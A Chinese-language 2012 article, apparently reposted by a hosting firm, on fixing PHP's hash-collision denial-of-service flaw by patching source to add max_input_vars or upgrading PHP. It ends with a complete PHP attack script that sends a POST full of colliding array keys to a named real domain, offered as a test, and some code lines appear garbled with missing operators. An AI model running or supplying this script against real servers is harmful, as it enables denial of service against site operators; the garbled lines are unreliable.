PHP的hash漏洞解决方案
作者 佚名技术
来源 Linux系统
浏览
发布时间 2012-03-23
复此漏洞
patch地址:
https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars
2.如果是php-5.3.x的版本,修复漏洞有两种方法:
第一种:修改php-5.3.x的源码
A. 修改/main/main.c文件,把STD_PHP_INI_ENTRY宏加到main.c的PHP_INI_BEGIN()和PHP_INI_END()宏之间来注册PHP INI指令: STD_PHP_INI_ENTRY(" max_input_vars", "1000", PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateLongGEZero, max_input_vars, php_core_globals, core_globals) B.修改文件/main/php_globals.h,_php_core_globals结构体内加上: long max_input_vars; C.修改文件/main/php_variables.c,在: zend_symtable_update(symtable1, escaped_index, index_len 1, &gpc_element, sizeof(zval *), (void **) &gpc_element_p); 之前加入: if (zend_hash_num_elements(symtable1) >= PG(max_input_vars)) { php_error_docref(NULL TSRMLS_CC, E_ERROR, "Input variables exceeded %ld. To increase the limit change max_input_vars in php.ini.", PG(max_input_vars)); } 源码修改完之后,进入原来的php源码目录: make clean make make install 测试: phpinfo: 出现max_input_vars=1000(默认值,可以在php.ini中配置此参数) 第二种方法:升级php主程序(建议使用) 官方在PHP-5.3.9RC2中修复了此漏洞 PHP 5.3.9RC2 : http://downloads.php.net/johannes PHP 5.4.0RC2: http://windows.php.net/qa/ 注释: 另外, 其他语言java, ruby等, 请各位也预先想好对策, 限制post_size是治标不治本的方法, 不过可以用来做临时解决方案. DDOS攻击程序: <?php set_time_limit(0); /** * 设置变量 */ $host = ''www.teamtop.com''; //域名 $uri = ''/index.php''; //建立一个名为response.php的php文件,里面什么都不用写 $data = ''''; //拼接攻击参数 $size = pow(2, 16); for ($key = 0, $max = ($size - 1) * $size; $key <= $max; $key = $size) { $data .= ''&array['' . $key . '']=0''; } /** * 发送攻击请求 */ $str = "POST {$uri} HTTP/1.1\r\n"; $str .= "Host: {$host}\r\n"; $str .= "Content-type: application/x-www-form-urlencoded\r\n"; $str .= "Content-length: " . strlen($data) . "\r\n"; $str .= "Connection: close\r\n"; $str .= "\r\n"; $str .= "{$data}\r\n"; $fp = @fsockopen($host, 80, $errno, $errstr, 30); if (!$fp) die(''err''); fputs($fp, $str); $s = ''''; while (!feof($fp)) $s .= fgets($fp, 1024); fclose($fp); echo ''ok''; 在攻击程序同层目录创建空文件response.php 注意观察:获取ok的时间,及服务器的CPU占用率 刚刚修复了服务器的这个漏洞,整合了网上的一些资料,跟大家做个分享! |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢! |
你可能对下面的文章感兴趣
上一篇: LANMMP网络模型架构下一篇: Linux VIM,引导流程解析
关于PHP的hash漏洞解决方案的所有评论